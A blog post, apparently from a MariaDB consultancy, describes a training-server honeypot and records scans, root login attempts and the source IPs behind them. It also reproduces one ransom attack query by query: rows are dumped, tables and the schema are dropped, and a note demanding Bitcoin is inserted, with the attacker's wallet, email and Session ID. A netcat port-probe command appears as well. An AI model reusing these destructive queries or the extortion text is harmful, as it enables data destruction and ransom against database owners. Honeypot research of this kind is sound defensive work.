Feed aggregator

MariaDB Honeypot

Shinguz - Thu, 2025-03-06 09:50

In our MariaDB advanced training courses, which we hold approximately every two months, we use machines that are directly exposed to the Internet with a public IP address.
Warning: You should NEVER expose a database directly to the Internet without protection!
Typically, it takes less than 72 hours (3 days) before we are exposed to the first external access attempts.

This looks something like this in the MariaDB error log:

[Warning] Aborted connection 22939 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication) [Warning] Aborted connection 22940 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication) [Warning] Access denied for user ''@'118.193.58.125' (using password: NO) [Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES) [Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES)

First of all, it was checked whether a database is listening and how it responds. Then various attempts are made to penetrate the database. It looks like there are various sampling and attack patterns. The anonymous user (''@'%') and 'root'@'%' are checked with and without a password.
Whether other users will be tested remains to be seen over a longer observation period.

And this is what it looks like from the MariaDB General Query Log:

287793 Connect root@196.251.91.77 on using TCP/IP 287793 Connect Access denied for user 'root'@'196.251.91.77' (using password: NO) 287794 Connect root@196.251.91.77 on using TCP/IP 287794 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES) 287796 Connect root@196.251.91.77 on using TCP/IP 287796 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES) Preparing the honeypot

At the end of the training, we no longer need the machines, they will be removed. That's why I was tempted to try out what happens when an access attempt is successful. To test this, the user 'root'@'%' was created without a password as follows and given all rights to the test schema:

SQL> CREATE USER 'root'@'%'; SQL> GRANT ALL ON test.* TO 'root'@'%';

and both the MariaDB General Log was switched on and the MariaDB Error Log was made more talkative:

# my.cnf [server] general_log_file = /var/log/mysql/general.log general_log = on log_error = /var/log/mysql/error.log log_warnings = 9 # too much! bind_address = * skip_name_resolve = on # How much info do we loose? # skip_grant_tables

After that it was just a matter of lying in wait and seeing what happens...

TODO: It would be interesting to see which passwords are used to access the database. Let's see if we can find out without patching the MariaDB source code...? Maybe one should also try using wireshark or tcpdump to make the passwords visible.

The first fly buzzes in

Then the first fly (from Amsterdam, Netherlands) seems to arrive at the honeypot. First we have a warning that the reverse lookup of the IP address fails:

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'.

But then it goes in. But doesn't do anything exciting:

250228 16:06:32 1222 Connect root@94.102.49.155 on using TCP/IP 1222 Query SHOW databases 1222 Query SHOW tables IN information_schema 1222 Query SHOW tables IN test 1222 Query SHOW VARIABLES 250228 16:06:33 1222 Quit

What does the fly get to see:

Maybe the algorithm of the attack is smart enough here and realises that an attack is not worthwhile?

Then we wait for the next fly...

The next fly comes flying

And there it is (this time from the USA, Minneapolis) in the MariaDB error log:

[Warning] Hostname 'undefined.hostname.localhost' does not resolve to '196.251.83.136'.

Now it will be interesting to see what exactly happens in the MariaDB General Query Log?

First, a connection is established and kept open (keep your foot in the door?):

250228 16:06:55 67 Connect root@196.251.83.136 on using TCP/IP 67 Query SET AUTOCOMMIT=0

Then, 15 seconds later, a connection is opened and closed again (make sure you were really successful?):

250228 16:07:10 68 Connect root@196.251.83.136 on using TCP/IP 68 Query SET AUTOCOMMIT=0 68 Quit

Immediately afterwards, all schemas are queried:

69 Connect root@196.251.83.136 on using TCP/IP 69 Query SET AUTOCOMMIT=0 69 Query SHOW DATABASES 69 Quit

Then a connection is opened and closed again:

70 Connect root@196.251.83.136 on using TCP/IP 70 Query SET AUTOCOMMIT=0 70 Quit

Then a check is made to see how large the schema is. Probably to ensure that it is not too large? Then the tables are queried. The connection is kept open and work continues 2 seconds later.

71 Connect root@196.251.83.136 on using TCP/IP 71 Query SET AUTOCOMMIT=0 71 Query SELECT SUM(data_length + index_length) FROM information_schema.tables WHERE table_schema = 'test' 71 Query USE `test` 71 Query SHOW tables

Then a mariadb-dump imitation? with version ≥ 10.1 is started to read the first 10!!!! lines of the table aaa_payload in the schema test.

250228 16:07:11 72 Connect root@196.251.83.136 on using TCP/IP 72 Query /*!40100 SET @@SQL_MODE='' */ 72 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 72 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 72 Query set optimizer_switch='semijoin=off' 72 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 72 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 72 Query set optimizer_switch=default 72 Init DB test 72 Query SHOW VARIABLES LIKE 'lower_case_table_names' 72 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SET SQL_QUOTE_SHOW_CREATE=1 72 Query show fields from `aaa_payload` 72 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `aaa_payload` WHERE 1 LIMIT 10 72 Quit

Then the same again with a table called bbb_payload:

73 Connect root@196.251.83.136 on using TCP/IP 73 Query /*!40100 SET @@SQL_MODE='' */ 73 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 73 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 73 Query set optimizer_switch='semijoin=off' 73 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 73 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('bbb_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 73 Query set optimizer_switch=default 73 Init DB test 73 Query SHOW VARIABLES LIKE 'lower_case_table_names' 250228 16:07:12 73 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'bbb_payload' 73 Query SET SQL_QUOTE_SHOW_CREATE=1 73 Query show fields from `bbb_payload` 73 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `bbb_payload` WHERE 1 LIMIT 10 73 Quit

And finally our main table test but again only the first 10!!!! rows:

74 Connect root@196.251.83.136 on using TCP/IP 74 Query /*!40100 SET @@SQL_MODE='' */ 74 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 74 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 74 Query set optimizer_switch='semijoin=off' 74 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 74 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 74 Query set optimizer_switch=default 74 Init DB test 74 Query SHOW VARIABLES LIKE 'lower_case_table_names' 74 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SET SQL_QUOTE_SHOW_CREATE=1 74 Query show fields from `test` 74 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `data`, `ts` FROM `test` WHERE 1 LIMIT 10 74 Quit

Then it continues again with Connection 71: The 3 tables test, bbb_payload and aaa_payload are deleted:

71 Query USE `test` 71 Query SHOW TABLES 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'test' AND REFERENCED_TABLE_NAME IS NOT NULL 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'bbb_payload' AND REFERENCED_TABLE_NAME IS NOT NULL 250228 16:07:13 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'aaa_payload' AND REFERENCED_TABLE_NAME IS NOT NULL 71 Query DROP TABLE `test` 71 Query DROP TABLE `bbb_payload` 71 Query DROP TABLE `aaa_payload`

Then a table called RECOVER_YOUR_DATA is created and provided with the text how to pay the ransom. The amount is 0.0101 Bitcoin, which currently corresponds to around EUR 863.40. Mind you, they only dumped the first 10 lines and then deleted them!

71 Query CREATE TABLE IF NOT EXISTS RECOVER_YOUR_DATA (text VARCHAR(255)) 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu)') 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM') 71 Query COMMIT 71 Quit The following text can be found behind the link: Please take note of the following: We are aware that you have accessed this guide. This offer stands for 24hs After 72 hours, we cannot guarantee that we will be able to send the data to you. The only way to recover your data is by making the payment. We will not provide the data for free. Data leakage is a serious legal violation. Rest assured, the incident will remain confidential, and your data is protected. After your payment is completed, all data downloaded from you will be deleted from our servers, government agencies, competitors, contractors, and local media are currently unaware of the incident. If you pay we guarantee that your data will not be sold on Darkweb resources and will not be used to attack your company, employees, or counterparties in the future and the full database dump will be sent to you. If you have not contacted us within two days from the time of the incident, we will consider the transaction incomplete. Your data will then be sent to any interested parties. This is your responsibility. If you are a system administrator or programmer and your boss is unaware of this incident, we will contact them after 48 hours. If you are unable to contact us using the provided email, please visit https://getsession.org/ and download the Session Messenger. Add us using the following Session ID for a smoother conversation and better negotiation: Session ID: 05a5ba6491a15908207cce6e257b3316cd11cb2575f75194d3c59c37de68eaf55a After payment, please provide us with a screenshot or proof of payment. Once the payment is confirmed, we will send you a download link for your data. We will also delete our copy of the data. IMPORTANT!! DO NOT FORGET TO INCLUDE YOUR DBCODE IN YOUR MAIL OR MESSAGE YOU SEND TO US The only accepted payment method is Bitcoin. Be advised: PayPal, WeTransfer, Alipay, credit cards, and other methods will not be accepted. If you prefer to pay with another cryptocurrency, please contact us to make arrangements. If you don't have Bitcoin, you can purchase it using a credit card from the following websites: MoonPay: https://www.moonpay.com/buy Paybis: https://paybis.com/ Changelly: https://changelly.com/buy Alternatively, you can buy Bitcoin using other payment methods from the following platforms (some of them work in China): Coinbase: https://www.coinbase.com/ Paxful: https://paxful.com/ Binance: https://www.binance.com/ Crypto.com: https://www.crypto.com/ Huobi: https://www.huobi.com/ OKCoin: https://www.okcoin.com/ BTCC: https://www.btcc.com/ Paybis: https://paybis.com/ Coinmama: https://coinmama.com/ Bitfinex: https://www.bitfinex.com/ For users in China, Bitcoin can be purchased with Alipay from: CoinCola: https://www.coincola.com/?lang=zh-HK BitValve: https://www.bitvalve.com/buy-bitcoin/alipay

And this text is written to the RECOVER_YOUR_DATA table:

SQL> SELECT * FROM RECOVER_YOUR_DATA; +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | text | +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu) | | After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM | +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Then the test schema (where the RECOVER_YOUR_DATA table is contained?) is deleted.

75 Connect root@196.251.83.136 on using TCP/IP 75 Query SET AUTOCOMMIT=0 75 Query DROP DATABASE `test` 75 Query COMMIT 75 Quit

And a new schema is created with the name RECOVER_YOUR_DATA:

76 Connect root@196.251.83.136 on using TCP/IP 76 Query SET AUTOCOMMIT=0 76 Query CREATE DATABASE IF NOT EXISTS RECOVER_YOUR_DATA 76 Quit

Somehow the access doesn't seem logical to me and still has potential. Since the RECOVER_YOUR_DATA table is missing (deleted with schema test), you can no longer pay if you wanted to...

Maybe the developer did not expect a limited root account and therefore the tool behaves incorrectly? See also the three repetitions when dumping the tables.

Where does the access come from?

I don't know how well you can disguise where you are coming from and how good the geo-resolution of the IP addresses is, I don't know enough about that. A search revealed that the IP comes from Amsterdam (Netherlands).

After further research, it turned out that the IP belongs to an organisation called Internet Secuirty Ekabi (note misspelling as in the original!) with an address in the USA and a location in the Seychelles.
If anyone can give me any more tips on what I can find out, I would be very grateful!

Where do the IP addresses come from?

In the short period under observation, we observed access from the following regions:

Alibaba Cloud, Singapore
Google Belgium, Brussels
Data-Center Imaqliq Ltd., Russia, St. Petersburg
Alibaba Cloud, Japan, Tokyo
FiberXpress BV, Netherlands, Amsterdam
M247 Europe SRL, United Kingdom, Manchester
Hetzner Online GmbH, Finland, Helsinki
Internet Secuirty Ekabi, Netherlands, Amsterdam (2 x)
Internet Security Cheapyhost, Netherlands, Amsterdam (9 x)
Internet Security Nybula, Netherlands, Amsterdam (2 x)

Access pattern

All access attempts are made WITHOUT SSL/TLS.

Fingerprint from the perspective of the MariaDB General Query Log:

9 x Connect root@34.140.63.218 on using TCP/IP Connect Access denied for user 'root'@'34.140.63.218' (using password: NO) 1 x Connect root@45.135.95.25 on using TCP/IP Connect Access denied for user 'root'@'45.135.95.25' (using password: NO) Connect root@45.135.95.25 on using TCP/IP Connect Access denied for user 'root'@'45.135.95.25' (using password: NO) 4 x Connect root@196.251.118.8 on using TCP/IP Connect Access denied for user 'root'@'196.251.118.8' (using password: NO) Connect root@196.251.118.8 on using TCP/IP Connect Access denied for user 'root'@'196.251.118.8' (using password: YES) Connect root@196.251.118.8 on using TCP/IP ... mit 2 Wiederholungen 1 x Connect root@94.102.49.155 on using TCP/IP Connect Access denied for user 'root'@'94.102.49.155' (using password: NO) Connect root@94.102.49.155 on using TCP/IP Connect Access denied for user 'root'@'94.102.49.155' (using password: YES) ... mit 6 Wiederholungen 2 x Connect root@196.251.91.19 on using TCP/IP Connect Access denied for user 'root'@'196.251.91.19' (using password: NO) Connect root@196.251.91.19 on using TCP/IP Connect Access denied for user 'root'@'196.251.91.19' (using password: YES) ... mit 28 Wiederholungen 1 x Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: NO) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: NO) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: YES) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: YES) Mit jeweils zeitlichem Abstand 2 x Connect root@196.251.86.26 on using TCP/IP Connect Access denied for user 'root'@'196.251.86.26' (using password: NO) Connect root@196.251.86.26 on using TCP/IP Connect Access denied for user 'root'@'196.251.86.26' (using password: YES) Connect root@196.251.86.26 on using TCP/IP ... mit 38 Wiederholungen

It is of course possible that some of these access attempts use the same tools and were simply cancelled after a different number of attempts and the tools thus generated a different pattern.

Access pattern from the perspective of the MariaDB error log Possible accesses to the Galera Protocol [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Unsupported/unrecognized gmcast protocol version: { at ./gcomm/src/gmcast_message.hpp:unserialize():331 at ./gcomm/src/gmcast.cpp:handle_up():1494 [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

and:

[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

Whether this was an access attempt or whether we only had a problem in our network or Galera cluster still needs to be verified.

Problems with the name resolution

To get more and additional information the database was run WITHOUT skip_name_resolve. This leads to various warnings regarding name resolution (forwards and backwards).

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'. [Warning] Host name 'scanner-28.ch1.censys-scanner.com' could not be resolved: Name or service not known [Warning] IP address '34.140.170.97' has been resolved to the host name '97.170.140.34.bc.googleusercontent.com', which resembles IPv4-address itself. [Warning] IP address '165.154.100.58' could not be resolved: Name or service not known [Warning] IP address '104.193.135.104' could not be resolved: Temporary failure in name resolution

In addition, various scanner systems were noticed, some of which resolved correctly: security.ipip.net coop.net {ch1|hk2}.censys-scanner.com

Conclusion: slog_warnings = 9 is too high, activate skip_name_resolve.

Port probing

Simple port probing (tapping the ports) can be done as follows:

# netcat -z -n -v 10.116.63.139 3300-3310

In the MariaDB error log on the database page you will see the following:

[Warning] Could not read packet: fd: 56 state: 1 read_length: 4 errno: 110 vio_errno: 1159 length: 0 [Warning] Aborted connection 52 to db: 'unconnected' user: 'unauthenticated' host: '_gateway.incus' (This connection closed normally without authentication)

These port probes are not even displayed in the MariaDB general query log.

Different variants and patterns of port probing

We have noticed the following 3 patterns of port probing:

[Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 104 vio_errno: 1158 length: -1 [Warning] Aborted connection 76 to db: 'unconnected' user: 'unauthenticated' host: '45.142.193.153' (This connection closed normally without authentication) 198.235.24.140 115.231.78.10 [Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 50 to db: 'unconnected' user: 'unauthenticated' host: '20.65.194.133' (This connection closed normally without authentication) [Warning] Could not write packet: fd: 64 state: 1 errno: 104 vio_errno: 1160 length: 42 [ERROR] mariadbd: Got an error writing communication packets [Warning] Aborted connection 55 to db: 'unconnected' user: 'unauthenticated' host: 'connecting host' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 56 to db: 'unconnected' user: 'unauthenticated' host: '137.184.75.161' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0 [Warning] Aborted connection 57 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 87 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0 [Warning] Aborted connection 58 to db: 'unconnected' user: 'unauthenticated' host: '165.22.188.115' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 59 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 60 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 197053 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 61 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 197067 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 62 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196986 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 63 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 131449 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 64 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 65 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 66 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65910 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 67 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65887 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 68 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)

What exactly was tried in the third case is still beyond my knowledge.

And here is a breakdown of the error messages:

# perror 104 OS error code 104: Connection reset by peer # perror 11 OS error code 11: Resource temporarily unavailable # perror 1158 MariaDB error code 1158 (ER_NET_READ_ERROR): Got an error reading communication packets Learn more: https://mariadb.com/kb/en/e1158/ # perror 1160 MariaDB error code 1160 (ER_NET_ERROR_ON_WRITE): Got an error writing communication packets Learn more: https://mariadb.com/kb/en/e1160/ Out of order packets (4 x)

Another pattern we have seen is packets in the wrong order. Whether this is intentional or has to do with the network between the attacker and the database cannot be said at the moment (the IPs are said to originate from Italy, USA and 2 x Sweden).

Sources: 45.91.171.169 45.147.250.222 20.168.122.53 91.223.169.88

Example:

[ERROR] mariadbd: Got packets out of order [Warning] Aborted connection 49 to db: 'unconnected' user: 'unauthenticated' host: '103.45.246.42' (This connection closed normally without authentication) Incomplete connection setup (51 x)

Sources: 80.82.70.133 194.165.16.167 162.142.125.* 205.210.31.* 104.248.130.34 198.235.24.* 209.38.99.93 171.36.7.2 34.77.151.17 118.193.33.60 147.185.132.118 88.214.25.121 188.166.68.252 118.193.43.158 206.189.5.176 165.22.187.120 45.142.193.153 196.251.90.186 134.209.221.50 89.185.82.115 104.248.229.49 35.205.56.72 198.235.24.28 43.248.108.8 167.71.184.54 154.212.141.215 89.248.174.130 154.212.141.212 34.140.35.166 167.94.146.* 167.94.145.* 103.149.26.234 137.184.64.140 170.64.154.53 165.22.188.115 185.47.172.136 199.45.154.148 147.185.132.108 20.171.28.254 103.203.57.18

and also from these networks (Internet monitoring and AWS):

Sources: {larry|sharon|susan}.probe.onyphe.net {poetic|glowing|principled].monitoring.internet-measurement.com prod-{boron|barium}-{sfo2|us-central|us-east|nyc1|us-southeast}-{\d{2,3}}. {do|li}.binaryedge.ninja azpd{\w{5,8}}.stretchoid.com scan-{\d{2}[a-z]}.shadowserver.org pdcscan{2,3}.scanning.cybcube.com ec2-{\w*}[us-east-2]?.compute[-1]?.amazonaws.com

Example:

[Warning] Aborted connection 325749 to db: 'unconnected' user: 'unauthenticated' host: '137.184.64.140' (This connection closed normally without authentication) ... 0, 1, 4, 5, 8, 9, 10 Wiederholungen Access attempt using regular connect Attempts WITHOUT password (40x)

Sources: 196.251.91.* 196.251.114.* 196.251.90.* 196.251.115.18 196.251.115.26 196.251.83.97 196.251. 90.186 34.140.170.97 196.251.85.11 196.251.83.125

Example:

[Warning] Access denied for user 'root'@'196.251.91.69' (using password: NO) Attempts WITHOUT and then WITH password (28 x)

Sources: 165.154.172.87 165.154.164.92 128.14.237.43 196.251.69.185 37.19.221.171 196.251.118.8 196.251.91.* 196.251.118.47 45.129.56.161 146.70.132.164 196.251.86.26 196.251.83.136 38.240.225.39

Example:

[Warning] Access denied for user 'root'@'196.251.80.168' (using password: NO) [Warning] Access denied for user 'root'@'196.251.80.168' (using password: YES) ... 1, 2, 3, 13, 27, 28, 37 Wiederholungen More complex access attempts using port probing and regular connect (15 x)

Sources: 8.219.222.66 47.250.81.7 8.219.222.66 34.76.203.56 8.221.136.6 47.254.192.213 (6 x)

Example:

[Warning] Aborted connection 1134 to db: 'unconnected' user: 'unauthenticated' host: '47.254.192.213' (This connection closed normally without authentication) [Warning] Access denied for user 'root'@'47.254.192.213' (using password: NO)

Source: 45.150.237.21 (1 x)

Example:

[Warning] Aborted connection 22965 to db: 'unconnected' user: 'unauthenticated' host: '45.150.237.21' (This connection closed normally without authentication) ... 9 Wiederholungen [Warning] Access denied for user ''@'45.150.237.21' (using password: NO)

Sources: 101.36.122.183 152.32.150.7 152.32.245.170 118.193.58.125 165.154.48.24 107.150.117.219 116.90.238.220 165.154.100.58 (8 x)

Example:

[Warning] Aborted connection 2816 to db: 'unconnected' user: 'unauthenticated' host: '165.154.100.58' (This connection closed normally without authentication) ... 0, 1 Wiederholungen [Warning] Access denied for user ''@'165.154.100.58' (using password: NO) [Warning] Access denied for user 'root'@'165.154.100.58' (using password: YES) ... 0, 48 Widerholungen More complex access attempts using regular connect and port probing (3 x)

Source: 104.193.135.104 (1 x)

Example:

[Warning] Access denied for user 'root'@'104.193.135.104' (using password: NO) [Warning] Aborted connection 47 to db: 'unconnected' user: 'unauthenticated' host: '104.193.135.104' (This connection closed normally without authentication)

Source: 196.251.91.18 (1 x)

Example:

